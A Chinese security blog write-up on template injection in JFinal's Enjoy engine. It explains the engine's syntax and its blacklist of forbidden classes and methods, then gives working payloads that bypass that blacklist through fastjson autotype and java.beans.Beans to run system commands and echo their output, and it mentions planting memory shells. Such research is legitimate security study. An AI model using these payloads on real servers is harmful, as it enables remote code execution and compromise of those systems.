Enjoy模版注入
2024-09-13 09:14:17 # javasec # ssti

介绍

enjoy模版是Jfinal框架使用的模版,Jfinal默认使用的这个引擎进行渲染

Enjoy Template Engine 采用独创的 DKFF (Dynamic Key Feature Forward)词法分析算法以及独创的DLRD (Double Layer Recursive Descent)语法分析算法,极大减少了代码量,降低了学习成本,并提升了用户体验。

Enjoy 模板引擎核心概念只有指令与表达式这两个。而表达式是与 Java 直接打通的,所以没有学习成本,剩下来只有 #if、#for、#define、#set、#include、#switch、#(…) 七个指令需要了解,而这七个指令的学习成本又极低。

所以简单来说这是一个非常简单的模版引擎,简单到用两个方面就能概括,即表达式和指令。

并且指令就只有七个,也是七个比较常见的指令,然后表达式就跟java语法差不多就不说了,像什么三元表达式,算数运算表达式,方法调用表达式,这里我直接引用官方的例子

1
2
3
4
5
6
7
8
9
10
11
// 算术运算
1 + 2 / 3 * 4
// 比较运算
1 > 2
// 逻辑运算
!a && b != c || d == e
// 三元表达式
a > 0 ? a : b
// 方法调用
"abcdef".substring(0, 3)
target.method(p1, p2, pn)

然后就是特殊的指令表达式#(),这个可以用来调用我们自己定义的拓展指令,当然也内置了一些指令如#set()

语法介绍

表达式

  • 算术运算: + - * / % ++ –
  • 比较运算: > >= < <= == != (基本用法相同,后面会介绍增强部分)
  • 逻辑运算: ! && ||
  • 三元表达式: ? :
  • Null 值常量: null
  • 字符串常量: “jfinal club”
  • 布尔常量:true false
  • 数字常量: 123 456F 789L 0.1D 0.2E10
  • 数组存取:array[i](Map被增强为额外支持 map[key]的方式取值)
  • 属性取值:object.field(Map被增强为额外支持map.key 的方式取值)
  • 方法调用:object.method(p1, p2…, pn) ****(支持可变参数)
  • 逗号表达式:123, 1>2, null, “abc”, 3+6 (逗号表达式的值为最后一个表达式的值)

属性访问

直接xxx.xxx,但是他进行访问的原理是如下的

  • 如果 user.getName() 存在,则优先调用
  • 如果 user 具有 public 修饰过的name 属性,则取 user.name 属性值(注意:jfinal 4.0 之前这条规则的优先级最低)
  • 如果 user 为 Model 子类,则调用 user.get(“name”)
  • 如果 user 为 Record,则调用 user.get(“name”)
  • 如果 user 为 Map,则调用 user.get(“name”)

可以发现这里是直接调用的getter方法进行获取值,所以说我们到时候可以根据这个特性找getter链

方法调用

1
2
3
4
#("ABCDE".substring(0, 3))
#(girl.getAge())
#(list.size())
#(map.get(key))

方法调用这里直接使用的java的规则,直接调用对象任意方法的形式来调用

静态属性访问

需要开启engine.setStaticFieldExpression(true);这个配置才能直接访问静态变量,默认是不行的

1
com.demo.common.model.Account::STATUS_LOCK_ID

访问形式是直接使用::就行

另外这里的静态变量必须是public作用于的属性才能够直接获取到,至于final没有指定

静态方法调用

1
engine.setStaticMethodExpression(true);

同样也是需要直接手动打开配置才能调用静态方法的

1
com.jfinal.kit.StrKit::isBlank(title)

这是使用方法,同样也是要求方法为public作用域

然后以上的静态属性和方法可以结合的

1
(com.jfinal.MyKit::me).method(paras)

即通过括号的方式调用静态属性的静态方法

注释

1
2
3
4
5
6
### 这里是单行注释

#--
这里是多行注释的第一行
这里是多行注释的第二行
--#

原样输出

1
2
3
4
5
6
#[[
#(value)
#for(x : list)
#(x.name)
#end
]]#

<font style="color:rgb(33, 37, 41);">#[[ </font>``<font style="color:rgb(33, 37, 41);">]]#</font>

指令

#if、#for、#switch、#set、#include、#define、#(…)

当然也可以自己拓展,只需要继承directive ,然后重写exec方法就行了,这里重点介绍<font style="color:rgb(33, 37, 41);">#set()和#(...)</font>

一个是设置变量的指令,一个是输出指令

#set 指令

1
2
3
4
5
6
#set(x = 123)
#set(a = 1, b = 2, c = a + b)
#set(array[0] = 123)
#set(map["key"] = 456)

#(x) #(c) #(array[0]) #(map.key) #(map["key"])

这个看名字就知道是在当前模板设置变量的指令,并且这个变量的作用于是当前模板的全局下,所以#if#for这些块里面的设置的作用域不同,他会现在当前作用域下寻找是否已存在变量,找不到会继续往上层找。

#setLocal指令是他的拓展,用来制定当前作用域的变量

然后就是#set()括号里面的内容,可以填一个xx=xxx的表示,也可以使用逗号批量进行变量赋值,当然set的作用可以直接被#()代替,毕竟都是写表达式

#()指令

输出指令,非常直接简单,括号里面直接写表达式,然后模版会把表达式的内容执行并通过#()输出出来

1
2
3
4
5
6
#(value)
#(object.field)
#(object.field ??)
#(a > b ? x : y)
#(seoTitle ?? "JFinal 俱乐部")
#(object.method(), null)

#拓展指令()

这个直接举个例子简单看一下就行,对于Jfinal框架使用率还是比较高的,一般用于与sql进行结合,直接使用#xxx()获取数据库信息,就直接从View层获取到Model层的数据了,感觉有点怪哈哈哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/*
*
*
*
*/
package com.cms.template.directive;

import com.cms.TemplateVariable;
import com.cms.entity.Content;
import com.cms.entity.Site;
import com.jfinal.plugin.activerecord.Page;
import com.jfinal.template.Env;
import com.jfinal.template.io.Writer;
import com.jfinal.template.stat.Scope;

/**
* 模板指令 - 内容分页
*
*
*
*/
@TemplateVariable(name="content_page")
public class ContentPageDirective extends BaseDirective {

/** "栏目ID"参数名称 */
private static final String CATEGORY_ID_PARAMETER_NAME = "categoryId";

/** "标签ID"参数名称 */
private static final String TAG_ID_PARAMETER_NAME = "tagId";

/** "搜索词"参数名称 */
private static final String KEYWORD_PARAMETER_NAME = "keyword";

/** "页码"参数名称 */
private static final String PAGE_NUMBER_PARAMETER_NAME = "pageNumber";

/** "每页记录数"参数名称 */
private static final String PAGE_SIZE_PARAMETER_NAME = "pageSize";

/** 变量名称 */
private static final String VARIABLE_NAME = "contentPage";

@Override
public void exec(Env env, Scope scope, Writer writer) {
Site currentSite = getCurrentSite(scope);
scope = new Scope(scope);
Integer siteId = currentSite.getId();
Integer categoryId = getParameter(CATEGORY_ID_PARAMETER_NAME, Integer.class, scope);
Integer tagId = getParameter(TAG_ID_PARAMETER_NAME, Integer.class, scope);
String keyword = getParameter(KEYWORD_PARAMETER_NAME, String.class, scope);
Integer pageNumber = getParameter(PAGE_NUMBER_PARAMETER_NAME, Integer.class, scope);
Integer pageSize = getParameter(PAGE_SIZE_PARAMETER_NAME, Integer.class, scope);
String condition = getCondition(scope);
String orderBy = getOrderBy(scope);
Page<Content> page = new Content().dao().findPage(categoryId,tagId,keyword,condition, orderBy,pageNumber,pageSize,siteId);
scope.setLocal(VARIABLE_NAME,page);
stat.exec(env, scope, writer);
try{
writer.write("<!--totalPageStart("+page.getTotalPage()+")totalPageEnd-->");
}catch (Exception e){
e.printStackTrace();
}
}

public boolean hasEnd() {
// 返回 true 则该指令拥有 #end 结束标记
return true;
}
}
1
2
3
4
5
6
public class NowDirective extends Directive {
public void exec(Env env, Scope scope, Writer writer) {
write(writer, new Date().toString());
}
}
#now()

RCE

黑名单

可以看到render方法调用的renderFacotry来获取对应的render然后进行渲染

可以看到这里爆了一个错,说java.lang.Runtime是被禁止的类

接着跟进一下

这里获取模版

接着进行扫描或得到了几个token,一个是set操作,一个是output操作

然后扫描出来之后就直接报错了,这里是直接在statList()里面进行parse的

到了表达式解析这里

获取了这些语法

接着继续往下调到获取对应静态方法的地方

很明显在这里判断加载出来的类是否在黑名单中,这里我们可以知道这里是先通过Class.forName加载获得了Class对象之后再对其进行判断的,虽然没啥用,总之这里是使用的黑名单进行过滤

可以看到这里ban掉了很多类以及很多方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
System.class
Runtime.class
Thread.class
Class.class
ClassLoader.class
File.class
Compiler.class
InheritableThreadLocal.class
Package.class
Process.class
RuntimePermission.class
SecurityManager.class
ThreadGroup.classThreadLocal.class
Method.class
Proxy.class
ProcessBuilder.class
MethodKit.class

getClass()
getDeclaringClass()
forName()
newInstance()
getClassLoader()
invoke()
notify()
notifyAll()
wait()
exit()
loadLibrary()
halt()
stop()
suspend()
resume()
removeForbiddenClass()
removeForbiddenMethod()

可以看到这些事写到static静态代码里面的黑名单类和方法,所以我们只需要绕过这些就能够rce

绕过

fastjson绕过

1
2
3
4
5
6
7
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#(x.addAccept("javax.script.ScriptEngineManager"))
#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(b=a.getEngineByName('js'))
#set(payload="java.lang.Runtime.getRuntime().exec(\"calc\");")
#(b.eval(payload))

直接就是使用fastjson组件调用ScriptEngineManager获取js引擎进行rce

Beans绕过

这里我们也可以直接使用一个原生类的静态方法进行绕过java.beans.Beans

Beans.instantiate这个方法能够实例化一个javabean对象,但是这里也能够创建一个实例化对象

1
2
3
#set(engine=(java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js"))
#set(payload="java.lang.Runtime.getRuntime().exec(\"calc\");")
#(engine.eval(payload))

所以就调用Engine的eval方法执行任意代码了

总结

就是寻找不在黑名单里面的静态方法,能够创建对象的方法,然后调用该对象的某些方法后面就是找sink链了,因为过滤了Runtime所以就需要找到二次的执行方法例如javaScriptEngine,或者各种jndi注入等等方法非常多,但是这些基本都是没有static方法的,所以需要再找一个能够触发到他们的方法比如Beans类等

获取回显

内存马

毕竟能够执行任意代码了,就可以直接写内存马了

直接回显

毕竟这里本身就是#()输出指令,直接返回给他一个结果字符串就行了

1
2
3
4
5
6
7
8
9
#set(engine=(java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js"))
#set(payload="res=java.lang.Runtime.getRuntime().exec(\"whoami\");
sc = new java.util.Scanner(res.getInputStream(),\"GBK\").useDelimiter(\"\\A\");
result = sc.hasNext() ? sc.next() : \"\";
sc.close();
result;")
#(engine.eval(payload))


参考链接

https://jfinal.com/doc/6-1

https://cxkjy.github.io/blog/Enjoy%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5.html

https://y4tacker.github.io/2022/04/14/year/2022/4/Enjoy%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E5%88%86%E6%9E%90/